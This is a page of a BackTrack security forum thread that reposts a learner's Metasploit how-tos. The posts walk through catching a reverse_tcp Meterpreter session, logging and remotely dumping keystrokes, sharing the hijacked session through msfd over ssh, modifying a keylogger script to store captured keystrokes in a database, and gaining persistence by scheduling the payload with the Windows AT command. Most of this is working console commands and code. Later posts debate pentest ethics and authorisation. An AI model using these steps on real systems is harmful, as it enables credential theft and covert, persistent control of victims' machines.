Page 2 of 5 FirstFirst 1234 ... LastLast
Results 11 to 20 of 41

Thread: One persons journey with Back Track

  1. #11
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist @KMDave
    This is from a little while ago when KMDave suggested that I start msfd before I run the exploit. I thought that this would be a good idea too but I don't think that it is possible. After doing a bit of research I read that msfd runs in "daemon" mode as a default, from my understanding this meant that it could run in the background of the msfconsole session. However, then I a section of the remote-exploit wiki that shows an example of msfd being run in daemon mode and it does not return the "user interaction" (for lack of a better phrase). Link: https://wiki.remote-exploit.org/backtrack/wiki/msfd
    Even though neither my first test or this one has been completely successful I am still hopeful that this goal: is still possible. The reason I am still hopeful is because in the msfd source I found an interesting comment: "The nice thing about this interface is that it allows multiple clients to share one framework instance and thus makes it possible for sessions to to be shared from a single vantage point". Link: http://trac.metasploit.com/browser/f...rk3/trunk/msfd. This leaves me to conclude that there is simply something I am doing wrong/forgetting to add. Maybe someone who is more knowledgeable can drop a hint.
    Edit: Something a little bit exciting; I started msfd from a terminal session instead of a msfconsole session and msfd was able to run in the background, however when I tried to perform the same experiment as below it failed again.

    @thorin
    Thank you for the recognition, PMed.

    QUOTE=KMDave This is actually one of the best threads I've read over the last weeks. I really appreciate that you share your findings, questions and solutions with the community.
    Going to look into the msfd myself tomorrow, will have some more time for it by then.
    Keep up the good work, it is a valuable contribution. I hope that this encourages more people to share their learning experience

    QUOTE=AnActivist Ok I did take some more notes today but just as I was about to finish everything up I started chatting with "egypt" on the metasploit SILC channel, and we started talking about using msfd to achieve the goal that I've been working on. We (mostly egypt) were able to get everything not only working, but working in a secure way using ssh. Because there is pretty much no documentation on the internet (that I have found) I decided to put together another how-to. I would like to make sure that I emphasize that the author of this fix is Egypt from the Metasploit Team, I am simply the compiler of the information.

    Heres a couple other notes that I took from the readings/research today but I'm really excited to see what people think about the how-to Anyways here they are:
    4/29/09 Notes

    Progress:

    -Research Transmogrify to mask/unmask files as any file type.

    This is what I've been spending about the last hour working on. If you search for Transmogrify this is basically the information you can find:
    1. Its a very cool tool developed by the Metasploit Team that allows you to mask file types (I'm pretty sure someone on the forums was asking about this a little while ago maybe it was crispyjones?)
    2. It is (or was) part of the MAFIA (Metasploit Anti-Forensics Investigation Arsenal)
    Information you won't find:
    1. How to use it.
    2. If it still exists: I checked the metasploit website and it is no longer listed under the MAFIA tools section.
    I've been hanging around the metasploit SILC channel and sent the Metasploit team an email so hopefully I'll be able to find it.
    questions and curiousities:
    -Learn more about using the passivex payload, and what is happening behind the scenes.

  2. #12
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist How to use the msfd plugin with ssh to remotely interact with an attacker that is remotely interacting with a victim.

    What you will need:
    -A box with Metasploit installed and updated (if you have Backtrack 3 Final then your fine)
    -A "victim" box (mine is running Windows XP home SP2)
    -A "remote" box (I am running Ubuntu 8.04)
    -An ssh client and server (OpenSSH will work fine, which is installed by default with BT3 final)

    Credit:
    Egypt and the rest of the Metasploit team

    Links:
    OpenSSH
    Penetration Testing | The Metasploit Project
    Google
    DynDNS.com: Free DNS Hosting, E-mail Delivery, and VPS Hosting

    Introduction:
    After getting an active meterpreter session from the victim sent to the attacker through whatever means we want to interact with that same session remotely. For our victim we will be using Windows XP home SP2, as the attacker we will be using Backtrack3 Final in VMWare, and the remote user will be Ubuntu 8.04.


    Reasons why this HowTo might be Different from Others:
    -I am assuming that you already know how to gain exploit the "victim"
    -There is not much information on using MSFD and none that I have found that addresses the bugs in it.

    TO BE EDITED..........

    Getting an active Meterpreter Session:
    Alright the first step is actually exploiting the Victim and getting a meterpreter shell payload (or whatever payload you want) sent back to the Attacker. In this case I will simply be converting the /windows/meterpreter/reverse_tcp payload into an executable file and running it on the Victim's box, while I(Attacker) listen and wait for the the shell to be sent.
    Code:
    msf > use multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LHOST 192.168.1.xxx
    LHOST => 192.168.1.xxx
    msf exploit(handler) > set LPORT xxx
    LPORT => xxx
    msf exploit(handler) > exploit -j[*] Exploit running as background job.
    msf exploit(handler) >[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...
     
    msf exploit(handler) >[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 1 opened (192.168.1.xxx:xxx -> xxxxxxxxxxxxxxx)
    sessions -l
     
    Active sessions
    ===============
     
      Id  Description  Tunnel
      --  -----------  ------
      1   Meterpreter  192.168.1.xxx:xxx -> xxxxxxxxxxxxxxxxxxx
     
    msf exploit(handler) >
    Start Sniffing:
    You can see above that the Attacker has received an active meterpreter shell from the Victim. If you want you could start something inside the meterpreter session that you want to would want to check back on remotely. In my case I'll just interact with the meterpreter session 1, start sniffing for keystrokes and then return that session back into the background by hitting CTRL+Z:
    Code:
    msf exploit(handler) > sessions -i 1[*] Starting interaction with 1... 
    meterpreter > keyscan_start
    Starting the keystroke sniffer...
    meterpreter >
    Background session 1? [y/N]
    msf exploit(handler) >
    Notes about the MSFD plug-in:
    The MSFD plug-in basically listens on a specified port and then provides the client (in this case Remoter) with the same instance of the msfconsole; this includes any active sessions. The current MSFD plug-in is a little bit buggy. If you get a warning about some default settings being changed then you have to restart the msfconsole and proceed back to step one. Also the msfd plugin does not take arguments properly so we will have to adjust our commands accordingly (note: the metasploit team should have a fix for this soon but in the mean time with a few adjustments everything will still work)

    Loading MSFD plug-in and Start SSH:
    To start the msfd plugin on port 4444 issue the following command in the msfconsole:
    Code:
    msf exploit(handler) > load msfd ServerPort=4444[*] Successfully loaded plugin: msfd
    msf exploit(handler) >
    You should see the above output if you were successful if you see any warnings then you need to restart the msfconsole and start over. Note: The default host used is localhost, this is fine for our purposes also the default port that is used is 55554, I just use 4444 because thats the port I decided to forward on my router, if you leave out the ServerPort command make sure you forward the port 55554 instead of 4444.

    Now we need start our ssh server; to do that in backtrack3 final you go to the menu in the bottom left -> services -> ssh -> start sshd. Now your ssh server is started and theoretically at this point you should be able to connect to the Attacker's computer from anywhere with Internet and an ssh client.
    Note: I'm not going over port forwarding, or listening on a non-standard port, or other methods to secure your ssh server if you are confused see the third link.

    Switching to Remote User:
    Now you can switch to your remote computer in my case Ubuntu 9.04. We only need an SSH client which Ubuntu has by default. In windows there are other ssh clients you can use, cygwin is one of them.

    We now need to connect Remotely back to the Attacker's box using ssh. This is where some ssh knowledge comes in handy. the basic syntax is like so:
    Code:
    ssh user@hostname -p Non-Standard Port
    where user is the user name of the Attacker and host name is the attackers IP address or host name and Non-Standard Port is the port that the ssh server is listening on.
    Note: You can set up an easy to remember host name for free with a service like dyndns, see above link. Also if you you haven't set up a non-standard port you can just leave out the -p command because it defaults to port 22 which is also the default port that the ssh server listens on.
    So with all that being said this is how we connect back to our attacker
    Code:
    remoter@xxxxxxx:~$ ssh attacker@xxxxxxxxx -p 2223
    attacker@xxxxxxxx's password: 
    Last login: xxxxxxxxxxxxxxxxxxxx
    bt ~ # 
    If this is your first time and all goes well ssh will probably ask you about authenticating keys; just type yes, and then enter your password and you should be greeted with a backtrack prompt.

    Getting our msfconsole with active sessions:
    Now we are ready for the grand finaly. We will use nc as a client to connect to the msfd plugin which is listening on the specified port (or 55554 if you left it as default) you can do this by issuing the following command: "nc localhost 4444" if all goes well you should be greeted with the msfconsole and if you check for active sessions by issuing the "sessions -l" command, not only see that it is there and active sessions and that you can interact with it but if you remember the service that we started earlier....
    Code:
    bt ~ # nc localhost 4444
     
                     o                       8         o   o
                     8                       8             8
    ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
    8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
    8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
    8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
    ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
    ::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
     
     
           =[ msf v3.3-dev
    + -- --=[ 288 exploits - 124 payloads
    + -- --=[ 17 encoders - 6 nops
           =[ 56 aux
     
    msf > sessions -l
     
    Active sessions
    ===============
     
      Id  Description  Tunnel                                    
      --  -----------  ------                                    
      1   Meterpreter  192.168.1.xxx:xxx -> xxxxxxxxxxxxxxxxxx  
     
    msf > sessions -i 1[*] Starting interaction with 1...
     
    meterpreter > keyscan_dump
    Dumping captured keystrokes...
    www.gmail.com <Return> victim@gmail.com <Return> ThIsmyP455w-rd <Return> I hope no one is sniffing my keys and then dumping the output remotely right now ...:)
    meterpreter >
    Note: As usual the gmail account is not real, I just typed it into a text file on the victim's box

    So if everything went well you should now be able to not only connect to the msfconsole instance running on your Attacking box remotely, but also be able to interact with any sessions or services that are active within that msfconsole instance.

    Thanks for reading.

  3. #13
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist Alright well today was another very exciting day. I have a whole bunch of updates that all will tie into another very cool mini-How-to. This How-To will be using pretty much all the "post-exploitation" research I've done and then combine it together to achieve a goal I've been working towards for a while now.

    Note: Some of this could be inaccurate so please correct me if I'm wrong.

    Updates/Progress:


    Ok so before I had a couple hypotheses about either there being an update or there being something to do with Win XP Home; however, both of these are incorrect. What is actually happening is the metasploit team and many of the bloggers are assuming that you are using an exploit to get the your payload sent, you would then have to make the necessary jumps to get the payload to bind to a service and get "keyscan_start" to work. Because I have turned my payload into executable that is then actually run by the "victim" it is already a service and thus can use "keyscan_start, keyscan_dump" freely. I could be explaining this wrong but the main thing to remember is when the method of turning a payload into an executable (as I have been doing) and running it on the victim's box is used you don't have to migrate services or grab the desktop. Keep this in mind as we go deeper.
    Note: Answer is courtesy of the infamous hdm on the metasploit silc channel


    For me one of my end goals is to be able to script all my pentesting. I have some background in C++ so I already know that the hardest thing about learning to script or program is figuring out how to use the tools available and the saving grace is always the help file. The only difference with using ruby to automate my pentesting is that the help file really consists of: the entire MSF, ruby api documentation, the REX api documentation, third party scripts, and all the tools/classes/modules/functions in the /trunk. A lot of my future documentation will probably be me trying to sift through the tools published by the Metasploit team and learn what I can about how to write my own functional scripts. Lofty goal but it should be interesting.
    Note: cactii on the metasploit silc channel, really helped lay this out for me


    Well sadly enough I got an email back from HDM, "As far as I know it was never released - the original developer no longer contributes to the project." That pretty much sums it up. I'm pretty disappointed but I'm pretty sure that there could be another way to achieve this same goal using a hex editor (which at this point I have no idea how to use). In any event I'm not ready to give up on masking file types just yet so perhaps researching the hex editor will be the next step.

    Alright now for the main attraction; something that I've been wanted to do publicly since post #20 but really it goes back to when I first read Dark operators blog and failed the first try. This will also be the subject of another mini-how-to tonight:

    When I first ran this script I got an error and wasn't able to fix the problem. However using the knowledge gained from hdm, cactii, and Dark Operator's blog I've been able to get it working using the methods of payload sending that have been a theme in this thread: AKA convert payload to executable, listen on attacking box, execute executable on victim's box, get meterpreter session. The How-to is posted above, enjoy.

    Pureh@te:
    Thank you for words of encouragement.

  4. #14
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist HowTo use Dark Operator's script keylogrecorder.rb to sniff keystrokes

    What you will need:
    -A box with Metasploit installed and updated (if you have Backtrack then your fine)
    -A "victim" box (mine is running Windows XP home SP2)
    -Dark Operator's keylogrecorder.rb script. This can be found on his website that is linked below; chances are its already in the /scripts directoryof the MSF trunk
    (more on that later)

    Credit:
    HDM on the metasploit SILC channel
    cactii also on the metasploit SILC channel
    Dark Operator

    Links:
    Security and Networking - Meterpreter Scripts
    Penetration Testing | The Metasploit Project
    **Jew, scrojin** msf payloads and automated scraper scripts on Vimeo
    John Strand's videos on Vimeo

    Introduction:
    We will use
    a /windows/meterpreter/reverse_tcp payload that has been turned into an executable and Dark Operator's script keylogrecorder.rb to sniff keystrokes and dump them into a database. This method is interesting because as attackers we do not have to migrate processes or grab the the desktop to sniffing keys. Consequently, Dark Operator's script needs to be modified for it to work properly. Note: if you don't understand how to turn payloads into executables just go to the following links (mainly the last two) or read around the remote-exploit forums for more information.

    Reasons why this HowTo might be Different from Others:
    -I already assume that you know how to convert payloads into executables.
    -I am modifing the keylogrecorder.rb script.
    -I am focusing more on post explotation rather than actually exploiting a system.

    Testing out Keylogrecorder.rb:
    Step 1: Before you download anything navigate to your framework3 directory: '/pentest/exploits/framework3/' and issue the following command:
    Code:
     svn update
    You should now be able to navigate to the following directory: '/pentest/exploits/framework3/scripts/meterpreter' and see the script: keylogrecorder.rb. If the script is not there just go to the link above and download the script from Dark Operator's blog.

    Step 2: Before we change anything lets first test the script to see what is wrong. get an active meterpreter session with the Victim.
    Code:
    msf > use multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LHOST 192.168.1.xxx
    LHOST => 192.168.1.xxx
    msf exploit(handler) > set LPORT 101
    LPORT => 101
    msf exploit(handler) > exploit[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 1 opened (192.168.1.xxx:xxx -> xxxxxxxxxxxxx:xxxxx)
    
    meterpreter >
    Step 3: Lets test out our Dark Operator's script. Issue the following command to run the keylogrecorder.rb:
    Code:
    run keylogrecorder
    If the script runs perfectly then proceed to the end of the how-to. However, it's likely you got the following output:
    Code:
    meterpreter > run keylogrecorder-unedited
    [-] Error in script: undefined method `checkifadm' for#<Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Core:0xb6854a38>
    meterpreter >
    Modifiying Keylogrecorder.rb to suite our Needs:
    Step 1: You can leave your meterpreter shell alone for now. Open up a terminal and navigate to the following directory (or wherever you are storing your scripts): '/pentest/exploits/framework3/scripts/meterpreter'

    Step 2: Before we edit anything we want to make a backup of the keylogrecorder.rb script so if we completely botch the job we won't have to re download the script, do this by issuing the following command:
    Code:
     cp keylogrecorder.rb keylogrecorder.rb~
    Step 3: Now that everything is backed up we are ready to hack away at Dark Operator's work of art. Open keylogrecorder.rb up in your favorite text editor. In BT3 kwrite works fine for this:
    Code:
    kwrite keylogrecorder.rb
    7. Note: Make sure that your text editor supports line numbering; with Kwrite if you can't see the lines numbered just go to settings->configure editor->borders-> then check the box "Show Line numbers"

    Step 4: Now we need to find this nasty checkifadm function thats causing our script to fail (all the way at the bottom around line 157).
    Code:
    if helpcall == 0
        adm = checkifadm(session)
        if explrmigrate(session,captype,adm)
            if startkeylogger(session)
                keycap(session, keytime, logfile)
            end
        end
    end
    Both line 157 and 158 both appear to be associated with migrating sessions. If you remember from the introduction we have concluded that when the payload is already running as an executable on the Victim's computer we don't need migrate services. Armed with this knowledge lets use the '#' sign the comment out lines 157, 158 and 162. Your section of keylogrecorder.rb from lines 156-163 should now look like this:
    Code:
    if helpcall == 0
        #adm = checkifadm(session)
        #if explrmigrate(session,captype,adm)
            if startkeylogger(session)
                keycap(session, keytime, logfile)
            end
        #end
    end
    Step 5: We're almost done editing. Keeping in mind step 8 lets look for more functionality that we don't need in keylogrecorder.rb: Specifically line 68.
    Code:
    #Function for starting the keylogger
    def startkeylogger(session)
        begin
            print_status("Grabbing Desktop Keyboard Input...")
            session.ui.grab_desktop
            print_status("Starting the keystroke sniffer...") 
            session.ui.keyscan_start
            return true
        rescue
            print_status("Failed to start Keylogging!")
            return false
        end
    end
    Again remember from the introduction that when the payload is already running as an executable we also do not need to grab the desktop. With that in mind comment out lines 67 and 68. Your keylogrecorder.rb script from lines 64-76 should now look like this:
    Code:
    #Function for starting the keylogger
    def startkeylogger(session)
        begin
            #print_status("Grabbing Desktop Keyboard Input...")
            #session.ui.grab_desktop
            print_status("Starting the keystroke sniffer...") 
            session.ui.keyscan_start
            return true
        rescue
            print_status("Failed to start Keylogging!")
            return false
        end
    end
    Now everything should be ready to go. Save keylogrecorder.rb and go back to your meterpreter session.

    Running the modified Keylogrecorder.rb Script:
    Step 1: Make sure that your meterpreter session hasn't timed out. If it has timed out just type "exit" then re-exploit to get another active meterpreter session. Now lets test out our modified keylogrecorder.rb script by issuing the same command as before except now we should get the following output....
    Code:
    meterpreter > run keylogrecorder-unedited[*] Starting the keystroke sniffer...[*] Keystrokes being saved in to 
    /root/.msf3/logs/keylogrecorder/xxxxxxxxxxxxxxxxx/xxxxxxxxxxxxxxx.db[*] Recording ..
    Now would be the time to go on your Victim's computer and maybe do some Internet browsing, emailing or password entering; anything that you requires you to type in information you wouldn't want someone to find out, or maybe information that you would hypothetically like to find out.Note: As usually I did a fake browsing session in a text editor on the Victim's box.

    Step 2: Now you can go back to your meterpreter session and end keylogrecoder.rb by hitting 'CTRL+C', exit your meterpreter session and get back into the terminal, change directories to the .msf3 directory, 'cd /root/.msf3'
    Note: You don't actually have to end keylogrecorder.rb script for you to be able to access the database of stored keys.

    Step 3: Alright so the only thing left is to query our database and see what sorts of cool keys we captured start by issuing the following command:
    Code:
    sqlite3 /root/.msf3/logs/keylogrecorder/xxxxxxxxxxxxx_xxxxxxxx.xxxx/xxxxxxxxxxxxx_xxxxxxxx.xxxx.db
    Note: the last two parts will be different for you, the format is like this /(ip of victim)_random.numbers/ and /(ip of victim)_random.numbers.db . You can see exactly what this directory is called by navigating to the /root/.msf3/logs/keylogrecorder/ directory and seeing whats inside.
    Your should now see something like the following output:
    Code:
    SQLite version 3.5.7
    Enter ".help" for instructions
    sqlite>
    14. In Dark Operator's blog he does some other steps but by only using the '.dump' command I was able to get about the same results. That being said issue the '.dump' command and if all goes well....
    Code:
     sqlite> .dump
    BEGIN TRANSACTION;
    CREATE TABLE keystrokes (tkey INTEGER PRIMARY KEY,data TEXT,timeEnter DATE);
    INSERT INTO "keystrokes" VALUES(1,'',20090502.0318);
    INSERT INTO "keystrokes" VALUES(2,'www.gmail.com <Return> victim@gmail.com <Tab> my',20090502.0351);
    INSERT INTO "keystrokes" VALUES(3,'p455w0rdisthis <Return> I am typing an email that I don''t want people to read <Return>  <Return> :)',20090502.0424);
    COMMIT;
    sqlite>
    Conclusion:

  5. #15
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    CONCLUSION: You can now access this database even if the Victim has turned of their computer. You can also use it for later inspection as it is saved as in the sqlite3 database. If you wanted you could also copy and paste the output of '.dump' into a text file where it could be grep'ed and viewed more efficiently. I hope you enjoyed this how-to, thanks for reading.

    QUOTE=AnActivist@archangel.amael and kooze and lots of other people:
    Thanks a lot for the words of encouragement. I've really wanted to try to give back to the RE community and its great to hear that it is appreciated.

    Updates:
    I'm almost done with the Metasploit Toolkit book that was recommended. With the exception of the many new goals/curiosities that I've added along the way a lot of the original questions that I had set as of a couple weeks ago have been met and explored. It seems, I'm getting to the point where the more I read/learn about one topic the more questions or curiosities I have about another. To keep this thread and myself organized I'm going to be setting some long term goals that most of my research will be aimed at achieving. A lot of these could potentially be way above my head but they are the topics that I'm most interested in and would like to take steps towards.

    1. The first is the most exciting to me. Thorin has suggested that some of the how-tos that I have posted might be wiki material. I'm not saying I agree or disagree but I don't see any reason why I shouldn't work towards making all my work wiki material (whether or not it actually gets put up is separate). I'm going to reformat all my old how-tos and any future ones so that they could be possibly be used for a wiki addition. The way I'm thinking about doing it is I will post them here and if some seasoned members think they are good enough/newer people say they like them then I will try to post them on the wiki.

    2. The second is more advanced post exploitation. I'm really interested in topics like: using one infiltrated box to get into others on the same LAN, scheduling events, becoming anonymous on the internet, sniffing through data, event triggered actions, all the fun ones.

    3. This is probably the most difficult: automation. I know that Metasploit uses Ruby as the scripting language of choice. Because of this that is the scripting language that I will be learning. I am most nervous about this one. I spent about the last two years teaching myself C++ so I am no stranger to the grinding sometimes miserable experience of learning to script/program. However unlike the past two years I already have learned the basics and I have a more direct reason for learning to program/script (where as the past two years I have simply learned to program the the sake of it).

    4. Finally I'll be doing my own research and exploration on the more creative side of pentesting. I'm really interested in SE methods of tricking "victims" into being exploited rather than brute exploitation.

    Anyways thats the plan; I hope the interest remains. Thanks for reading.

    To keep from spamming I'm just going to edit the existing How-Tos announce when they have been edited. If you have time try browsing through and giving some feedback on the format, wikipedia potential, and anything you think should be changed

  6. #16
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist Ok its been a little while. I decided to try to work on something a little bit more excited rather than rewrite old posts. One thing that I think is very interesting is scheduling tasks on the victim's computer so that as attackers we don't always have manually exploit the system to have our payloads be sent back to us. In the past I tried using Dark Operators script scheduleme.rb. However because the "victim" that I do my pentesting against is running windows XP HOME edition, its does not have schtasks.exe. Because this is what scheduleme.rb depends on the script does not work. However, the HOME edition does support the AT command which can also be used to schedule tasks.

    In the future I'm going to work towards a more efficient way to implement this but the basic idea can be demonstrated below.

    I use the an active meterpreter session to get a cmd prompt and then check what time it is, then I use the AT command to schedule my windows/meterpreter/reverse_tcp payload (that has been turned into an executable and uploaded onto the victim's computer) to be run a couple of minutes later. After this has been run I check to make sure the task has been scheduled then I exit and wait for the task to be executed. Enjoy.
    Code:
    meterpreter > execute -f cmd -c
    Process 1736 created.
    Channel 2 created.
    meterpreter > interact 2
    Interacting with channel 2...
    
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\system\windows>time /T
    time /T
    06:36 PM
    
    C:\system\windows>AT 18:38 c:\system\windows\WIN32.exe
    AT 18:38 c:\system\windows\WIN32.exe
    Added a new job with job ID = 1
    
    C:\system\windows>at
    at
    Status ID   Day                     Time          Command Line
    -------------------------------------------------------------------------------
            1   Today                   6:38 PM       c:\system\windows\WIN32.exe
    
    C:\system\windows>exit
    exit
    meterpreter > exit
    [*] Meterpreter session 3 closed.
    
    msf exploit(handler) > exploit
    [*] Handler binding to LHOST 0.0.0.0
    [*] Started reverse handler
    [*] Starting the payload handler...
    .....waiting.......................
    [*] Transmitting intermediate stager for over-sized stage...(191 bytes) 
    [*] Sending stage (2650 bytes)
    [*] Sleeping before handling stage...
    [*] Uploading DLL (75787 bytes)...
    [*] Upload completed.
    [*] Meterpreter session 4 opened (192.168.1.xxx:xxxx -> xxxxxxxxxxx)
    
    meterpreter >
    Where to go from here:
    -Write a script that uses this functionality
    -Figure out how to check to see if the "victim" is running the HOME edition
    -Explore new ways to use the AT command

  7. #17
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=Thorn have to take exception to these statements, you seem to have falling into the misconception that "pen testing = illegal access". It does not.

    Penetration testing is precisely what the name says. A computer/network is tested for weaknesses that might allow it to be penetrated by those who do not have proper authority to do so. It is an activity done for lawful purposes under contract.

    If you use a name and password obtained from a victim system outside of the contract, you are acting unethically, and probably illegally.

    QUOTE=pureh@te Even the smart people doing unauthorized and illegal things (or at least trying to) always expose themselves eventually.

    QUOTE=AnActivist Thorn I wasn't trying to imply that at all. I'm not really in the industry but I'm sure that a lot of penetration testing has to do with gaining the usernames and passwords of the people you have a contract with. From what I've read pentration testers are always interested in stealth, I thought this was interesting because it does seem to add yet another layer of stealth.
    Edit: Just to add a little bit, if you check out the Tor website there are lots of coporations and law enforcement agencies that use Tor for legit purposes.

    QUOTE=Thorn The impression I received from your previous post is that you're talking about using a username/password on a server after the test has ended, and using Tor to cover your tracks. If that's not what you meant, then fine, but it appears that pureh@te also read it that way.

    I'm familiar with Tor, and have in fact used it at times for legitimate purposes. However, using Tor doesn't have much to do with pen testing per se, and doesn't seem to be what you mentioned previously. I will grant that someone might use Tor during a pen test to avoid having an IDS log and track their actual IP, but that's that isn't really a concern if you're working legitimately. For as in your example, if the end goal of a pen test is to obtain access to a server who cares if your IP is discovered after the fact? In fact, I would hope a client's tech people would be looking at things like logs and learning the why and how of attacks used during a test, as this is going to give them much more insight into the problem then merely reading my reports.

    QUOTE=AnActivist I can't help but be a little bit discouraged with the direction this thread has taken. The theme of this thread has for the most part been post-exploitation; hiding your presence after the fact seems to go with that theme. I have never suggested that I would be using the methods I learn/document for illegitimate activities I don't really understand why it would be taken that way all of a sudden.
    On a brighter note: The msfd HowTo has been updated check it out if you have time.

    QUOTE = Pureh@te QUOTE hiding your presence after the fact seems to go with that theme.

    This comment is the attitude which is the source of our comments.

  8. #18
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=lupin Id actually say that it can be a positive thing to ensure that your correct IP address is recorded during a pen test, and you may actually want to aim for your IP to be traceable, rather than just not worrying about hiding your IP. When we have pen tests conducted externally its good to be able to confirm that the scan and exploit activity detected at our gateway was actually generated by the people we hired and not by someone else.

    Generally speaking, "covering your tracks" is not part of a legitimate pen test. It is however a step in the "hacking" process (using the sensationalised media definition of hacking). This is usually only done when evidence of the fact that a hack has occurred, and the identity of the persons responsible, must be kept from the target. A sure sign of bad behavior.

    There may be some penetration tests where you may want to remain hidden for the duration of the test (only!), but once the test is done you should be able to present a list to the client of all the systems involved in the test so that the clients ability to "detect" intrusions can be properly measured.

    In addition, use of tor in a pen test may be a problem, because your attack traffic may get routed through a country where that sort of traffic is illegal.

    And OP, I agree with Thorn and pureh@te, I interpreted your comment the same way they did.

  9. #19
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist To everyone,
    I see the point you guys are making now. I would like to apologize for coming off the wrong way. My intentions are not malicious though. For me penetration testing consists of trying different creative ways I can exploit my Vmware installation of Windows XP and my old laptop. I'm not in the industry so I am still new to the ethics. Perhaps you can see where I misunderstood the situation? I understand now why hiding your ip address is not really in the interest of penetration testing, I was just interested in it myself so I thought I would document it along with everything else I have documented. I can say that I learned my lesson but would also like to point out that I was not trying to act disrespectfully or illegally, I really appreciate the work that many of the people at remote exploit do and am only trying to do my part to learn and help. I hope there won't be any bad feelings over this.
    QUOTE=lupin Yes, Thorn has teased out the key issue here in his last post. The Pen Testing process is a business process, and everything you do as part of a Pen Test must be authorised as part of the testing scope.

    So to borrow an eariler example, if you do gain access to usernames and passwords for a system, you only use them to access that system if you are authorised to as part of the scope. This might be to prove that you can gain access to data on that system (which might be the goal of the test), or to use that system to puddle jump to further systems in order to satisfy the goal of the test. But each and every step you perform must be authorised by the client. A number of computer crime laws focus on unauthorised use of a computer system - this is exactly the type of law a pen tester will fall foul of if they are not very careful about ensuring that what they do is specifically sanctioned by the client.

    So given this requirement for authorisation for each step of the process why would hiding your identity ever be potentially useful in a legitimate test? Its only useful if it helps you bypass some security feature of the clients system in order to provide an accurate security assessment. It is NOT used to hide the fact that the pen tester has accessed that particular system from the client. If we really go into detail here we could probably find examples where a particular technique could be construed as either hiding from the client or just bypassing their security. For example deleting log entries could be used to hide your access to a system or it could be used to bypass a HIPS that may lock you out once it correlates those log entries. However if this is authorised in the pen test scope and you have kept copies of the log entries plus keystroke logs to provide to the client it may be perfectly permissible. If not, then it probably isnt.

    I dont think that the OP actually intends to do anything illegal, but its pretty apparent that there is a fairly significant misunderstanding of what pen testing actually is.

    Edit: OK, I see the OP responded while I was in the middle of writing the abridged version of War and Peace.

    @OP. Yes, the business and ethical side of the process is the much harder part of the IT Security game to grasp in my opinion. The technical stuff is easy by comparison (at least I think so). However, a lack of understanding of the ethical and business side of the equation is the bit that's going to get you into trouble, especially with Pen Testing. There can be a very fine line between a "hacker" (the bad type) and a "pen tester", and even experienced people can make the types of mistakes that tip them over the edge. Its also something that many of the senior members of the forum (and I don't count myself among them yet after only being a member for about 2 months) here seem to be particularly keen on addressing, probably because of all the people who come here thinking that BackTrack is a tool that lets them access their neighbors wireless. I think its pretty important to make the distinction between pen testing and hacking clear, so that the field is not brought into disrepute and so that people from the forums here don't get the wrong idea and go get themselves into trouble doing something that they thought was legitimate.

    You've shown that you can own up to and learn from your mistakes however, which I always think is very commendable, so I don't think there will be any hard feelings here. Keep up the good technical work, just keep it in the back of your mind that there is an ethical and legal side to this as well.

  10. #20
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: One persons journey with Back Track

    QUOTE=AnActivist I've been doing a some very interesting reading on sockets for the past couple days. Since I've first been interested in computers I've heard the mention of sockets often. I was never really sure what exactly they did so for the most part I dismissed them. After having now spent nearly two years teaching myself C++ I found a really good link that explained sockets to me very well. It inspired me to make a series of 6 pictures to maybe help out some other people.
    Link: What Is a Socket?

    Some Socket Basics:

    1.Ok, so you can see below that we have an example of a server a client and a user. The server is listening on port 80 for requests sent by a client; the user is going to use the client to send a request to the server on port 80 and ultimately connect and interact with the server.


    2.Because the server is openly listening on port 80, the user then uses the client and sends a request to the server. This is where you will find you SIN and ACK requests and acknowledgments but that is beyond the scope of this diagram.


